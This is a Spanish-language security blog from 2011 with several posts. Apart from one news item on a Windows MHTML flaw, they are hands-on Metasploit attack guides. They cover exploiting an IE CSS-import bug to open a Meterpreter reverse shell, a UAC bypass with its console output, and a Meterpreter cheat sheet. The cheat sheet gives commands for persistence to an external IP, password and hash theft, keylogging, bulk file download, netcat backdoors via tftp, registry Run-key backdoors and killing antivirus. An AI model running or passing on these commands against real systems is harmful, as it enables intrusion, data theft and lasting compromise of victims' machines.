domingo, 30 de enero de 2011

Encontrada una falla que afecta todas las versiones de Windows

Microsoft advirtió el viernes pasado que todas las versiones de Windows (escritorio y servidor) son vulnerables a una falla de control de secuencia de comandos que podría permitir a un atacante falsificar la información que aparece en un navegador.

La revelación fue hecha en respuesta a la publicación de una prueba de concepto distribuida en internet que dejó al descubierto problemas en la forma en que Windows maneja las solicitudes en formato MIME.

El script malicioso que se ejecuta en el lado del cliente puede "suplantar contenido, divulgar información o realizar cualquier acción que el atacante pueda publicar en el sitio web afectado en nombre del usuario víctima", advirtió Microsoft.

"El impacto es el mismo en el lado del servidor, que se presenta como un ataque de cross-site scripting, pero la vulnerabilidad se encuentra en el cliente", explicó Microsoft.

Todos los servicios web de Windows que interactúan con los usuarios a través de campos de entrada son vulnerables, según Microsoft.

Mientras que Redmond ha identificado una solución relativamente simple para las versiones de escritorio, la solución temporal para las versiones de servidor es más complicada, lo que llevó a Microsoft a solicitar ayuda a Google y a otros proveedores de servicios para resolver el problema.

Sin la disponibilidad de parche o de una solución para los servidores, Microsoft recomienda a los operadores de sitios web informar a los clientes para que desactiven el controlador de protocolo MHTML.

Mas información sobre la falla aquí.

viernes, 28 de enero de 2011

Uso de Armitage Metasploit para Windows 7

El siguiente video muestra como utilizar Armitage para ejecutar código arbitrario en un sistema Windows 7.

Esta es la descripción del módulo utilizado para el exploit:

This module exploits a memory corruption vulnerability within Microsoft\’s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS import, a C++ object is deleted and later reused. This leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 ‘mscorie.dll’ module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions.


Ahora, si queremos realizar el mismo ataque utilizando msfconsole, es muy fácil.

En Backtrack 4 R2, nos ubicamos en el directorio framework3 (Metasploit Framework 3:
cd /pentest/exploits/framework3


E iniciamos la consola de Metasploit:
./msfconsole

Luego ejecutamos el siguiente comando para seleccionar el exploit:
use windows/browser/ms11_xxx_ie_css_import

Definimos el parámetro SRVHOST con nuestra dirección IP:
set SVRHOST 192.168.1.23

Definimos el parámetro URIPATH:
set URIPATH /

Seleccionamos el PAYLOAD a utilizar:
set PAYLOAD windows/meterpreter/reverse_tcp

Definimos el parámetro LHOST con nuestra dirección IP:
set SVRHOST 192.168.1.23

Lanzamos el exploit:
exploit

El resultado debe mostrar lo siguiente:
[*] 192.168.1.100:43487 Received request for "/"
[*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import redirect
[*] 192.168.1.100:43487 Received request for "/qmpDd.html"
[*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import HTML
[*] 192.168.1.100:43487 Received request for "/generic-1296233659.dll"
[*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import .NET DLL
[*] 192.168.1.100:43494 Received request for "/\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232"
[*] 192.168.1.100:43494 Sending windows/browser/ms11_xxx_ie_css_import CSS
[*] Sending stage (749056 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.100:37030) at Fri Jan 28 17:54:43 +0100 2011
[*] Session ID 1 (192.168.1.100:4444 -> 192.168.1.100:37030) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3668)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 2204
[*] New server process: notepad.exe (2204)


A partir de ese momento ya se tiene activa la sesión en el equipo víctima, con los mismos permisos que el usuario afectado y por eso la permanente necesidad de utilizar el sistema con permisos restringidos, sobre todo si se trata de un entorno corporativo.
msf exploit(ms11_xxx_ie_css_import) > sessions -L

Active sessions
===============

  Id  Type                   Information               Connection
  --  ----                   -----------               ----------
  1   meterpreter x86/win32  blackbox\John @ BLACKBOX  192.168.1.17:4444 -> 192.168.1.32:49161


msf exploit(ms11_xxx_ie_css_import) > sessions 1


Ya podremos utilizar la sesión establecida en el equipo víctima, por ejemplo para realizar un listado de archivos:
meterpreter > ls

Listing: C:\Users\John\Documents
================================

Mode              Size  Type  Last modified                   Name
----              ----  ----  -------------                   ----
40555/r-xr-xr-x   0     dir   Mon Jan 17 01:59:54 -0500 2011  .
40777/rwxrwxrwx   0     dir   Mon Jan 17 01:59:54 -0500 2011  ..
40777/rwxrwxrwx   0     dir   Mon Jan 17 01:58:39 -0500 2011  My Music
40777/rwxrwxrwx   0     dir   Mon Jan 17 01:58:39 -0500 2011  My Pictures
40777/rwxrwxrwx   0     dir   Mon Jan 17 01:58:39 -0500 2011  My Videos
100666/rw-rw-rw-  402   fil   Mon Jan 17 01:59:54 -0500 2011  desktop.ini


Es necesario tener en cuenta que la mayoría de los antivirus ya detectan el exploit utilizado por Metasploit (el original) por lo que si la víctima ingresa a la URL con el antivirus habilitado es posible que este detecte el ataque.

martes, 25 de enero de 2011

Metasploit Meterpreter Cheat Sheet Reference

Posted originally in: http://www.rmccurdy.com


root@bt:~#./msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST rmccurdy.com
msf exploit(handler) > set LPORT 21
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
msf exploit(handler) > exploit -j -z



# file_autopwn

root@bt:~# rm -Rf /tmp/1
root@bt:~# mkdir /tmp/1
root@bt:~# rm -Rf ~/.msf3
root@bt:~# wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressReleases/Press%20Releases/nga10_02.pdf
 

root@bt:~#./msfconsole 
msf > db_driver sqlite3
msf > db_create pentest11
msf > setg LHOST 75.139.158.51
msf > setg LPORT 21
msf > setg SRVPORT 21
msf > setg LPORT_WIN32 21
msf > setg INFILENAME /tmp/file3.pdf

 
msf > use auxiliary/server/file_autopwn
msf auxiliary(file_autopwn) > set OUTPATH /tmp/1
msf auxiliary(file_autopwn) > set URIPATH /msf
msf auxiliary(file_autopwn) > set SSL true
msf auxiliary(file_autopwn) > set ExitOnSession false
msf auxiliary(file_autopwn) > set PAYLOAD windows/meterpreter/reverse_tcp
msf auxiliary(file_autopwn) > setg PAYLOAD windows/meterpreter/reverse_tcp
msf auxiliary(file_autopwn) > set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
msf auxiliary(file_autopwn) > run



# shows all the scripts
run [tab]

# persistence! broken ...if you use DNS name ..
run persistence -r 75.139.158.51 -p 21 -A -X -i 30


run get_pidgin_creds

idletime
sysinfo


# SYSTEM SHELL ( pick a proc that is run by system )
migrate 376
shell

# session hijack tokens
use incognito
impersonate_token "NT AUTHORITY\\SYSTEM"

# eslcate to system
use priv
getsystem


execute -f cmd.exe -H -c -i -t
execute -f cmd.exe -i -t

# list top used apps
run prefetchtool -x 20

# list installed apps
run prefetchtool -p

run get_local_subnets

# find and download files
run search_dwld "%USERPROFILE%\\my documents" passwd
run search_dwld "%USERPROFILE%\\desktop passwd
run search_dwld "%USERPROFILE%\\my documents" office
run search_dwld "%USERPROFILE%\\desktop" office

# alternate
download -r "%USERPROFILE%\\desktop"  ~/
download -r "%USERPROFILE%\\my documents"  ~/

# alternate to shell not SYSTEM
execute -f cmd.exe -H -c -i -t


# does some run wmic commands etc
run winenum



# rev shell the hard way
run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080"

# An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.
run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
run schtasksabuse -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4

# vnc / port fwd for linux
run vnc

# priv esc
run kitrap0d



run getgui

# somewhat broken .. google sdt cleaner  NtTerminateProcess !@?!?!
run killav

run winemun

run memdump

run screen_unlock

upload /tmp/system32.exe C:\\windows\\system32\\


reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run


reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"


reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32

reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list

reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v sys

reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32

upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"


getuid
ps
getpid
keyscan_start
keyscan_dump
migrate 520
portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80"
portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666

shell
run myremotefileserver_mserver -h
run myremotefileserver_mserver -p 8787

run msf_bind
run msf_bind -p 1975
rev2self
getuid

getuid



enumdesktops
grabdesktop

run deploymsf -f framework-3.3-dev.exe

run hashdump
run metsvc
run scraper
run checkvm
run keylogrecorder
run netenum -fl -hl localhostlist.txt -d google.com
run netenum -rl -r 10.192.0.50-10.192.0.254
run netenum -st -d google.com
run netenum -ps -r 10.192.0.50-254


# Windows Login Brute Force Meterpreter Script
run winbf -h

# upload a script or executable and run it
uploadexec


# Using Payload As A Backdoor  from a shell

REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\metabkdr.exe" /f
at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\metabkdr.exe"
SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\metabkdr.exe"  /ED 11/11/2011



# kill AV this will not unload it from mem it needs reboot or kill from memory still ... Darkspy, Seem, Icesword GUI can kill the tasks
catchme.exe  -K "c:\Program Files\Kaspersky\avp.exe"
catchme.exe  -E "c:\Program Files\Kaspersky\avp.exe"
catchme.exe  -O "c:\Program Files\Kaspersky\avp.exe" dummy

jueves, 6 de enero de 2011

Twitt Metasploit Plugin en Ubuntu

El plugin Twitt Metasploit ha sido desarrollado en ruby por Carlos Perez (@Carlos_Perez). Este plugin nos permite enviar un mensaje directo a través de Twitter a una cuenta previamente configurada cuando se ha activado o desactivado una sesión en Metasploit. Cada mensaje contiene información detallada de cada sesión.

Instalación:
Para instalar el plugin Twitt Metasploit en Ubuntu 10.10, es necesario actualizar en primer lugar Ruby Gem con los siguientes comandos:

sudo gem install rubygems-update
cd /var/lib/gems/1.8/bin
sudo ./update_rubygems

Luego se debe instalar el Ruby Gem requerido por el plugin:
sudo gem install twitter

A continuación, solo nos queda descargar el script twitt.rb desde Github e instalarlo en el directorio de plugins de Metasploit ubicado en “/opt/metasploit3/msf3/plugins/“. No olvidemos que debemos dar los permisos de acceso necesarios y luego ejecutar Metasploit:

sudo msfconsole


Configuración del plugin Twitt Metasploit:

Para configurar los parámetros del plugin OAuth 1.0a se debe contar ya con una cuenta activa en Twitter. Después tendremos que registrar la aplicación Twitt en el sitio Twitter Developers.

Al llenar el formulario, se debe establecer en los campos “Application Type” como Client” y que el “Client” debe tener “Read & Write” en el campo “Default Access Type“.

Bypass de Windows UAC en Metasploit

El bypass de Windows UAC ha sido incluido hoy en Metasploit Framework. Es un poco diferente al script tradicional. En lugar de interactuar con meterpreter y ejecutar los comandos desde la shell de meterpreter, es necesario utilizar los nuevos módulos post. Veamos como se hace:

[*] Started reverse handler on 0.0.0.0:443
[*] Starting the payload handler…
[*] Sending stage (749056 bytes) to 172.16.32.130
[*] Meterpreter session 1 opened (172.16.32.128:443 ->  172.16.32.130:1989) at Thu Jan 06  12:40:35 -0500 2011

msf exploit(handler) > use post/escalate/bypassuac
msf post(bypassuac) > show options

Module options:

Name     Current Setting  Required  Description
—-     —————  ——–  ———–
RHOST                     no        Host
RPORT    4444             no        Port
SESSION                   yes       The session to run this module on.

msf post(bypassuac) > set SESSION 1
SESSION => 1

msf post(bypassuac) > exploit

[*] Started reverse handler on 172.16.32.128:4444
[*] Starting the payload handler…
[*] Uploading the bypass UAC executable to the filesystem…
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem….
[*] Executing the agent with endpoint 172.16.32.128:4444 with UACBypass in effect…
[*] Post module execution completed
msf post(bypassuac) >
[*] Sending stage (749056 bytes) to 172.16.32.130
[*] Meterpreter session 2 opened (172.16.32.128:4444 -> 172.16.32.130:1993) at Thu Jan 06 12:41:13 -0500 2011
[*] Session ID 2 (172.16.32.128:4444 -> 172.16.32.130:1993) processing InitialAutoRunScript ‘migrate -f’
[*] Current server process: zuWlXDpYlOMM.exe (2640)
[*] Spawning a notepad.exe host process…
[*] Migrating into process ID 3276
[*] New server process: notepad.exe (3276)

msf post(bypassuac) > sessions -i 2
[*] Starting interaction with 2…

meterpreter > getsystem
meterpreter >

…obtenemos acceso como system (vía técnica 1).

meterpreter > sysinfo
Computer: JOHN-DEV-PC
OS      : Windows 7 (Build 7600, ).
Arch    : x64 (Current Process is WOW64)
Language: en_US
meterpreter >

*Traducido de http://www.secmaniac.com/january-2011/windows-uac-bypass-now-in-metasploit/